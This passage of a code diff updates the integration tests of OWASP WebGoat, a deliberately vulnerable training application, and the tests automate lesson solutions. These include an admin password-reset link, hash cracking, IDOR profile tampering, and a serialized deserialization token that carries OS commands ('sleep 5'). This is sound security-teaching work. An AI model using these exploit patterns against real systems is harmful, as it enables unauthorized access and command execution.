+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("mail").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+
+    // Call reset link with admin link
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
+            .then()
+            .statusCode(HttpStatus.ACCEPTED.value())
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    checkAssignment(url("challenge/flag/7"), Map.of("flag", flag), true);
+  }
 }

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -2,6 +2,7 @@ package org.owasp.webgoat;
 
 import static org.junit.jupiter.api.Assertions.fail;
 
+import io.restassured.RestAssured;
 import java.nio.charset.Charset;
 import java.security.NoSuchAlgorithmException;
 import java.security.PrivateKey;
@@ -10,125 +11,146 @@ import java.security.spec.InvalidKeySpecException;
 import java.util.Base64;
 import java.util.HashMap;
 import java.util.Map;
-
 import javax.xml.bind.DatatypeConverter;
-
 import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
 import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
 
-import io.restassured.RestAssured;
-
 public class CryptoIntegrationTest extends IntegrationTest {
 
-	@Test
-	public void runTests() {
-		startLesson("Cryptography");
+  @Test
+  public void runTests() {
+    startLesson("Cryptography");
 
-		checkAssignment2();
-		checkAssignment3();
+    checkAssignment2();
+    checkAssignment3();
 
-		// Assignment 4
-		try {
-			checkAssignment4();
-		} catch (NoSuchAlgorithmException e) {
-			e.printStackTrace();
-			fail();
-		}
-
-		try {
-			checkAssignmentSigning();
-		} catch (Exception e) {
-			e.printStackTrace();
-			fail();
-		}
-		
-		checkAssignmentDefaults();
-
-		checkResults("/crypto");
-
-	}
-
-	private void checkAssignment2() {
-
-		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
-				.asString();
-		basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
-		String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
-		String answer_user = decodedString.split(":")[0];
-		String answer_pwd = decodedString.split(":")[1];
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_user", answer_user);
-		params.put("answer_pwd", answer_pwd);
-		checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
-	}
-
-	private void checkAssignment3() {
-		String answer_1 = "databasepassword";
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_pwd1", answer_1);
-		checkAssignment(url("/crypto/encoding/xor"), params, true);
-	}
-
-	private void checkAssignment4() throws NoSuchAlgorithmException {
-
-		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/md5")).then().extract().asString();
-
-		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/sha256")).then().extract().asString();
-
-		String answer_1 = "unknown";
-		String answer_2 = "unknown";
-		for (String secret : HashingAssignment.SECRETS) {
-			if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
-				answer_1 = secret;
-			}
-			if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
-				answer_2 = secret;
-			}
-		}
-
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_pwd1", answer_1);
-		params.put("answer_pwd2", answer_2);
-		checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
-	}
-
-	private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
-    	
-    	String privatePEM = RestAssured.given()
-            	.when()
-            	.relaxedHTTPSValidation()
-            	.cookie("JSESSIONID", getWebGoatCookie())
-            	.get(url("/crypto/signing/getprivate"))
-            	.then()
-				.extract().asString();
-		PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
-
-		RSAPrivateKey privk = (RSAPrivateKey) privateKey;
-		String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
-    	String signature = CryptoUtil.signMessage(modulus, privateKey);
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("modulus", modulus);
-        params.put("signature", signature);
-        checkAssignment(url("/crypto/signing/verify"), params, true);
+    // Assignment 4
+    try {
+      checkAssignment4();
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+      fail();
     }
-	
-	private void checkAssignmentDefaults() {
-    	
-    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
 
-		Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("secretText", text);
-        params.put("secretFileName", "default_secret");
-        checkAssignment(url("/crypto/secure/defaults"), params, true);
+    try {
+      checkAssignmentSigning();
+    } catch (Exception e) {
+      e.printStackTrace();
+      fail();
     }
-    
+
+    checkAssignmentDefaults();
+
+    checkResults("Cryptography");
+  }
+
+  private void checkAssignment2() {
+
+    String basicEncoding =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/encoding/basic"))
+            .then()
+            .extract()
+            .asString();
+    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
+    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
+    String answer_user = decodedString.split(":")[0];
+    String answer_pwd = decodedString.split(":")[1];
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_user", answer_user);
+    params.put("answer_pwd", answer_pwd);
+    checkAssignment(url("crypto/encoding/basic-auth"), params, true);
+  }
+
+  private void checkAssignment3() {
+    String answer_1 = "databasepassword";
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+    checkAssignment(url("crypto/encoding/xor"), params, true);
+  }
+
+  private void checkAssignment4() throws NoSuchAlgorithmException {
+
+    String md5Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/hashing/md5"))
+            .then()
+            .extract()
+            .asString();
+
+    String sha256Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/hashing/sha256"))
+            .then()
+            .extract()
+            .asString();
+
+    String answer_1 = "unknown";
+    String answer_2 = "unknown";
+    for (String secret : HashingAssignment.SECRETS) {
+      if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
+        answer_1 = secret;
+      }
+      if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
+        answer_2 = secret;
+      }
+    }
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+    params.put("answer_pwd2", answer_2);
+    checkAssignment(url("crypto/hashing"), params, true);
+  }
+
+  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
+
+    String privatePEM =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/signing/getprivate"))
+            .then()
+            .extract()
+            .asString();
+    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
+
+    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
+    String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
+    String signature = CryptoUtil.signMessage(modulus, privateKey);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("modulus", modulus);
+    params.put("signature", signature);
+    checkAssignment(url("crypto/signing/verify"), params, true);
+  }
+
+  private void checkAssignmentDefaults() {
+
+    String text =
+        new String(
+            Base64.getDecoder()
+                .decode(
+                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
+                        .getBytes(Charset.forName("UTF-8"))));
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("secretText", text);
+    params.put("secretFileName", "default_secret");
+    checkAssignment(url("crypto/secure/defaults"), params, true);
+  }
 }

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,34 +1,33 @@
 package org.owasp.webgoat;
 
-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
-
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
 
 public class DeserializationIntegrationTest extends IntegrationTest {
 
-    private static String OS = System.getProperty("os.name").toLowerCase();
+  private static String OS = System.getProperty("os.name").toLowerCase();
 
-    @Test
-    public void runTests() throws IOException {
-        startLesson("InsecureDeserialization");
+  @Test
+  public void runTests() throws IOException {
+    startLesson("InsecureDeserialization");
 
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-
-        if (OS.indexOf("win") > -1) {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
-        } else {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
-        }
-        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
-
-        checkResults("/InsecureDeserialization/");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
 
+    if (OS.indexOf("win") > -1) {
+      params.put(
+          "token",
+          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+    } else {
+      params.put(
+          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
     }
+    checkAssignment(url("InsecureDeserialization/task"), params, true);
 
-
+    checkResults("InsecureDeserialization");
+  }
 }

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -31,7 +31,17 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("magic_num", "33");
     checkAssignment(url("HttpBasics/attack2"), params, true);
 
-    checkResults("/HttpBasics/");
+    checkResults("HttpBasics");
+  }
+
+  @Test
+  public void solveAsOtherUserHttpBasics() {
+    login("steven");
+    startLesson("HttpBasics");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("person", "goatuser");
+    checkAssignment(url("HttpBasics/attack1"), params, true);
   }
 
   @Test
@@ -51,7 +61,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .path("lessonCompleted"),
         CoreMatchers.is(true));
 
-    checkResults("/HttpProxies/");
+    checkResults("HttpProxies");
   }
 
   @Test
@@ -61,7 +71,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put(
         "question_0_solution",
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+            + " website.");
     params.put(
         "question_1_solution",
         "Solution 1: By changing the names and emails of one or more users stored in a database.");
@@ -71,8 +82,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put(
         "question_3_solution",
         "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    checkAssignment(url("/WebGoat/cia/quiz"), params, true);
-    checkResults("/cia/");
+    checkAssignment(url("cia/quiz"), params, true);
+    checkResults("CIA");
   }
 
   @Test
@@ -94,8 +105,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
       Map<String, Object> params = new HashMap<>();
       params.clear();
       params.put("payload", solution);
-      checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
-      checkResults("/VulnerableComponents/");
+      checkAssignment(url("VulnerableComponents/attack1"), params, true);
+      checkResults("VulnerableComponents");
     }
   }
 
@@ -106,8 +117,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put("username", "CaptainJack");
     params.put("password", "BlackPearl");
-    checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
-    checkResults("/InsecureLogin/");
+    checkAssignment(url("InsecureLogin/task"), params, true);
+    checkResults("InsecureLogin");
   }
 
   @Test
@@ -116,8 +127,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     Map<String, Object> params = new HashMap<>();
     params.clear();
     params.put("password", "ajnaeliclm^&&@kjn.");
-    checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
-    checkResults("SecurePasswords/");
+    checkAssignment(url("SecurePasswords/assignment"), params, true);
+    checkResults("SecurePasswords");
 
     startLesson("AuthBypass");
     params.clear();
@@ -126,8 +137,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("jsEnabled", "1");
     params.put("verifyMethod", "SEC_QUESTIONS");
     params.put("userId", "12309746");
-    checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
+    checkAssignment(url("auth-bypass/verify-account"), params, true);
+    checkResults("AuthBypass");
 
     startLesson("HttpProxies");
     MatcherAssert.assertThat(
@@ -137,14 +148,13 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .cookie("JSESSIONID", getWebGoatCookie())
             .header("x-request-intercepted", "true")
             .contentType(ContentType.JSON)
-            .get(
-                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
             .then()
             .statusCode(200)
             .extract()
             .path("lessonCompleted"),
         CoreMatchers.is(true));
-    checkResults("/HttpProxies/");
+    checkResults("HttpProxies");
   }
 
   @Test
@@ -164,7 +174,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .header("webgoat-requested-by", "dom-xss-vuln")
             .header("X-Requested-With", "XMLHttpRequest")
             .formParams(params)
-            .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+            .post(url("CrossSiteScripting/phone-home-xss"))
             .then()
             .statusCode(200)
             .extract()
@@ -173,14 +183,14 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
 
     params.clear();
     params.put("successMessage", secretNumber);
-    checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+    checkAssignment(url("ChromeDevTools/dummy"), params, true);
 
     params.clear();
     params.put("number", "24");
     params.put("network_num", "24");
-    checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+    checkAssignment(url("ChromeDevTools/network"), params, true);
 
-    checkResults("/ChromeDevTools/");
+    checkResults("ChromeDevTools");
   }
 
   @Test
@@ -193,8 +203,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("jsEnabled", "1");
     params.put("verifyMethod", "SEC_QUESTIONS");
     params.put("userId", "12309746");
-    checkAssignment(url("/auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
+    checkAssignment(url("auth-bypass/verify-account"), params, true);
+    checkResults("AuthBypass");
   }
 
   @Test
@@ -204,7 +214,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put("param1", "secr37Value");
     params.put("param2", "Main");
-    checkAssignment(url("/lesson-template/sample-attack"), params, true);
-    checkResults("/lesson-template/");
+    checkAssignment(url("lesson-template/sample-attack"), params, true);
+    checkResults("LessonTemplate");
   }
 }

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -1,13 +1,12 @@
 package org.owasp.webgoat;
 
-
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
-import java.io.IOException;
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
@@ -15,84 +14,87 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import lombok.SneakyThrows;
-
 public class IDORIntegrationTest extends IntegrationTest {
-	
-	@BeforeEach
-    @SneakyThrows
-    public void init() {
-    	startLesson("IDOR");        
-    }
 
-    @TestFactory
-    Iterable<DynamicTest> testIDORLesson() {
-    	return Arrays.asList(
-    			dynamicTest("login",()-> loginIDOR()),
-    			dynamicTest("profile", () -> profile())
-    			);
-    }
-	
-    @AfterEach
-    public void shutdown() throws IOException {
-        checkResults("/IDOR");        
-    }
-    
-    private void loginIDOR() throws IOException {
-    	
-    	Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "tom");
-        params.put("password", "cat");
-       
-    	
-        checkAssignment(url("/WebGoat/IDOR/login"), params, true);
-        	
-    }
-    
-    private void profile() {
-    	MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("userId"), CoreMatchers.is("2342384"));
-    	Map<String, Object> params = new HashMap<>();
-    	params.clear();
-        params.put("attributes", "userId,role");
-        checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
-        params.clear();
-        params.put("url", "WebGoat/IDOR/profile/2342384");
-        checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
-        
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile/2342388"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-        
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())    
-                        .contentType(ContentType.JSON) //part of the lesson
-                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
-                        .put(url("/WebGoat/IDOR/profile/2342388"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
-        
-        
-    }
-    
+  @BeforeEach
+  public void init() {
+    startLesson("IDOR");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testIDORLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 2 - login", this::loginIDOR),
+        dynamicTest("profile", this::profile));
+  }
+
+  @AfterEach
+  public void shutdown() {
+    checkResults("IDOR");
+  }
+
+  private void loginIDOR() {
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("username", "tom");
+    params.put("password", "cat");
+
+    checkAssignment(url("IDOR/login"), params, true);
+  }
+
+  private void profile() {
+
+    // View profile - assignment 3a
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("IDOR/profile"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("userId"),
+        CoreMatchers.is("2342384"));
+
+    // Show difference - assignment 3b
+    Map<String, Object> params = new HashMap<>();
+    params.put("attributes", "userId,role");
+    checkAssignment(url("IDOR/diff-attributes"), params, true);
+
+    // View profile another way - assignment 4
+    params.clear();
+    params.put("url", "WebGoat/IDOR/profile/2342384");
+    checkAssignment(url("IDOR/profile/alt-path"), params, true);
+
+    // assignment 5a
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+
+    // assignment 5b
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON) // part of the lesson
+            .body(
+                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+                    + " \"userId\":\"2342388\"}")
+            .put(url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 }

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -1,231 +1,308 @@
 package org.owasp.webgoat;
 
+import static io.restassured.RestAssured.given;
+
 import io.restassured.RestAssured;
+import io.restassured.filter.log.LogDetail;
 import io.restassured.http.ContentType;
+import java.util.Map;
 import lombok.Getter;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
-
-import java.util.Map;
-import java.util.Objects;
-
-import static io.restassured.RestAssured.given;
+import org.springframework.http.HttpStatus;
 
 public abstract class IntegrationTest {
 
-    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
-    @Getter
-    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
-    private static boolean useSSL = false;
-    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
-    @Getter
-    private String webGoatCookie;
-    @Getter
-    private String webWolfCookie;
-    @Getter
-    private String user = "webgoat";
+  private static String webGoatPort = System.getenv().getOrDefault("WEBGOAT_PORT", "8080");
+  @Getter private static String webWolfPort = System.getenv().getOrDefault("WEBWOLF_PORT", "9090");
 
-    protected String url(String url) {
-        url = url.replaceFirst("/WebGoat/", "");
-        url = url.replaceFirst("/WebGoat", "");
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return webgoatUrl + url;
+  @Getter
+  private static String webWolfHost = System.getenv().getOrDefault("WEBWOLF_HOST", "127.0.0.1");
+
+  private static String webGoatContext =
+      System.getenv().getOrDefault("WEBGOAT_CONTEXT", "/WebGoat/");
+  private static String webWolfContext =
+      System.getenv().getOrDefault("WEBWOLF_CONTEXT", "/WebWolf/");
+
+  @Getter private String webGoatCookie;
+  @Getter private String webWolfCookie;
+  @Getter private final String user = "webgoat";
+
+  protected String url(String url) {
+    return "http://localhost:%s%s%s".formatted(webGoatPort, webGoatContext, url);
+  }
+
+  protected class WebWolfUrlBuilder {
+
+    private boolean attackMode = false;
+    private String path = null;
+
+    protected String build() {
+      return "http://localhost:%s%s%s"
+          .formatted(webWolfPort, webWolfContext, path != null ? path : "");
     }
 
-    protected String webWolfUrl(String url) {
-        url = url.replaceFirst("/WebWolf/", "");
-        url = url.replaceFirst("/WebWolf", "");
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return webWolfUrl + url;
+    /**
+     * In attack mode it means WebGoat calls WebWolf to perform an attack. In this case we need to
+     * use port 9090 in a Docker environment.
+     */
+    protected WebWolfUrlBuilder attackMode() {
+      attackMode = true;
+      return this;
     }
 
-    @BeforeEach
-    public void login() {
-        String location = given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", user)
-                .formParam("password", "password")
-                .post(url("login")).then()
-                .cookie("JSESSIONID")
-                .statusCode(302)
-                .extract().header("Location");
-        if (location.endsWith("?error")) {
-            webGoatCookie = RestAssured.given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .formParam("username", user)
-                    .formParam("password", "password")
-                    .formParam("matchingPassword", "password")
-                    .formParam("agree", "agree")
-                    .post(url("register.mvc"))
-                    .then()
-                    .cookie("JSESSIONID")
-                    .statusCode(302)
-                    .extract()
-                    .cookie("JSESSIONID");
-        } else {
-            webGoatCookie = given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .formParam("username", user)
-                    .formParam("password", "password")
-                    .post(url("login")).then()
-                    .cookie("JSESSIONID")
-                    .statusCode(302)
-                    .extract().cookie("JSESSIONID");
-        }
-
-        webWolfCookie = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", user)
-                .formParam("password", "password")
-                .post(webWolfUrl("login"))
-                .then()
-                .statusCode(302)
-                .cookie("WEBWOLFSESSION")
-                .extract()
-                .cookie("WEBWOLFSESSION");
+    protected WebWolfUrlBuilder path(String path) {
+      this.path = path;
+      return this;
     }
 
-    @AfterEach
-    public void logout() {
+    protected WebWolfUrlBuilder path(String path, String... uriVariables) {
+      this.path = path.formatted(uriVariables);
+      return this;
+    }
+  }
+
+  /**
+   * Debugging options: install TestContainers Desktop and map port 5005 to the host machine with
+   * https://newsletter.testcontainers.com/announcements/set-fixed-ports-to-easily-debug-development-services
+   *
+   * <p>Start the test and connect a remote debugger in IntelliJ to localhost:5005 and attach it.
+   */
+  //  private static GenericContainer<?> webGoatContainer =
+  //      new GenericContainer(new ImageFromDockerfile("webgoat").withFileFromPath("/",
+  // Paths.get(".")))
+  //          .withLogConsumer(new Slf4jLogConsumer(LoggerFactory.getLogger("webgoat")))
+  //          .withExposedPorts(8080, 9090, 5005)
+  //          .withEnv(
+  //              "_JAVA_OPTIONS",
+  //              "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005")
+  //          .waitingFor(Wait.forHealthcheck());
+  //
+  //  static {
+  //    webGoatContainer.start();
+  //  }
+
+  @BeforeEach
+  public void login() {
+    login("webgoat");
+  }
+
+  protected void login(String user) {
+    String location =
+        given()
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(url("login"))
+            .then()
+            .log()
+            .ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
+            .cookie("JSESSIONID")
+            .statusCode(302)
+            .extract()
+            .header("Location");
+    if (location.endsWith("?error")) {
+      webGoatCookie =
+          RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .formParam("matchingPassword", "password")
+              .formParam("agree", "agree")
+              .post(url("register.mvc"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    } else {
+      webGoatCookie =
+          given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .post(url("login"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    }
+
+    webWolfCookie =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .get(url("logout"))
-                .then()
-                .statusCode(200);
-    }
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(new WebWolfUrlBuilder().path("login").build())
+            .then()
+            .statusCode(302)
+            .cookie("WEBWOLFSESSION")
+            .extract()
+            .cookie("WEBWOLFSESSION");
+  }
 
-    public void startLesson(String lessonName) {
-        startLesson(lessonName, false);
-    }
+  @AfterEach
+  public void logout() {
+    RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
+  }
 
-    public void startLesson(String lessonName, boolean restart) {
+  public void startLesson(String lessonName) {
+    startLesson(lessonName, false);
+  }
+
+  public void startLesson(String lessonName, boolean restart) {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url(lessonName + ".lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    if (restart) {
+      RestAssured.given()
+          .when()
+          .relaxedHTTPSValidation()
+          .cookie("JSESSIONID", getWebGoatCookie())
+          .get(url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
+          .then()
+          .statusCode(200);
+    }
+  }
+
+  public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url(lessonName + ".lesson.lesson"))
-                .then()
-                .statusCode(200);
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-        if (restart) {
-            RestAssured.given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .cookie("JSESSIONID", getWebGoatCookie())
-                    .get(url("service/restartlesson.mvc"))
-                    .then()
-                    .statusCode(200);
-        }
-    }
+  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .put(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-    public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
+  public void checkResults(String lesson) {
+    var result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
